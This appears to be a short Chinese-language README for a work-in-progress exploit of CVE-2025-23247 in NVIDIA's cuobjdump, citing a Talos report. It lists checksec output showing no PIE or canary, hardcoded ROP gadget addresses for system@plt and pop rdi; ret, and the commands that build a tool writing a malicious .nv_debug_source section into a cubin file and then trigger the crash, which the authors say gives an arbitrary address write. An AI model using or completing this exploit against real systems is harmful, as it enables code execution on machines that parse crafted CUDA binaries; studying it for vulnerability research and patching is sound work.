与 @reubensammut 的史诗级合作 :) 一如既往 :) CVE-2025-23247 的 WIP。目前只是崩溃 PoC，表明我们控制了缓冲区和偏移量，因此获得了 aaw（任意地址写）。 漏洞来自 https://talosintelligence.com/vulnerability_reports/TALOS-2025-2151
checksec ./cuobjdump [*] '/home/vlad/cuobjdump' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
反正我们没有 PIE，所以
uint64_t system_plt = 0x401d90; uint64_t pop_rdi_ret = 0x402d1b; uint64_t ret_gadget = 0x402d1c; // Just a ret
崩溃点
gcc -o modify_simple modify_simple.c vlad@Vlad-PC:~$ ./modify_simple simple.cubin modified_simple2.cubin Created modified_simple2.cubin with vulnerable .nv_debug_source section Run: ./cuobjdump --dump-elf modified_simple2.cubin
而对于 CUDA 内核
nvcc -ptx simple.cu -o simple.ptx nvcc -cubin simple.ptx -o simple.cubin --generate-line-info or nvcc -cubin simple.cu -o simple.cubin --generate-line-info
